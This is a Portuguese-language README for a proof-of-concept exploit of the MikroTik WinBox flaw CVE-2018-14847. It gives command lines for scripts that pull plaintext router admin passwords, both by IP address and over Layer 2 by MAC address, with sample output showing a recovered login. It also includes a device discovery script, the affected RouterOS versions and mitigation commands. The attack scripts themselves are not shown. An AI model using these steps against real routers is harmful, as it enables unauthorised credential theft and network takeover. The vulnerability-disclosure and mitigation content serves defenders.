WinboxExploit

Esta é uma prova de conceito da vulnerabilidade crítica do WinBox (CVE-2018-14847) que permite a leitura arbitrária de arquivos de senhas em texto puro.

A vulnerabilidade foi corrigida há muito tempo, portanto este projeto foi encerrado e não será mais suportado ou atualizado. Você pode fazer um fork e atualizá-lo por conta própria.

Postagem no Blog

https://n0p.me/winbox-bug-dissection/

Requisitos

• Python 3+

Este script NÃO funcionará com Python 2.x ou inferior.

Como Usar

O script é usado de forma simples com argumentos simples na linha de comando.

WinBox (TCP/IP)

Explore a vulnerabilidade e leia a senha.

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

Exemplo:

$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

Servidor MAC WinBox (Camada 2)

Você pode extrair arquivos mesmo que o dispositivo não tenha um endereço IP.

Verificação simples de descoberta para dispositivos Mikrotik conectados localmente.

python3 MACServerDiscover.py

Exemplo:

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

Explore a vulnerabilidade e leia a senha.

python3 MACServerExploit.py <MAC-ADDRESS>

Exemplo:

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

Versões Vulneráveis

Todas as versões do RouterOS de 28/05/2015 a 20/04/2018 são vulneráveis a este exploit.

Dispositivos Mikrotik executando versões do RouterOS:

• Longterm: 6.30.1 - 6.40.7
• Stable: 6.29 - 6.42
• Beta: 6.29rc1 - 6.43rc3

Para mais informações veja: https://blog.mikrotik.com/security/winbox-vulnerability.html

Técnicas de Mitigação

• Atualize o roteador para uma versão do RouterOS que inclua a correção.
• Desabilite o serviço WinBox no roteador.
• Você pode restringir o acesso ao serviço WinBox para endereços IP específicos com o seguinte:

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

• Você pode usar Regras de Filtro (ACL) para negar acesso externo ao serviço WinBox:

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

• Limitar o acesso ao serviço mac-winbox pode ser feito especificando interfaces permitidas:

/tool mac-server mac-winbox

Direitos Autorais

• Patrocinado pela CERTCC do Irã (https://certcc.ir). Todos os direitos reservados.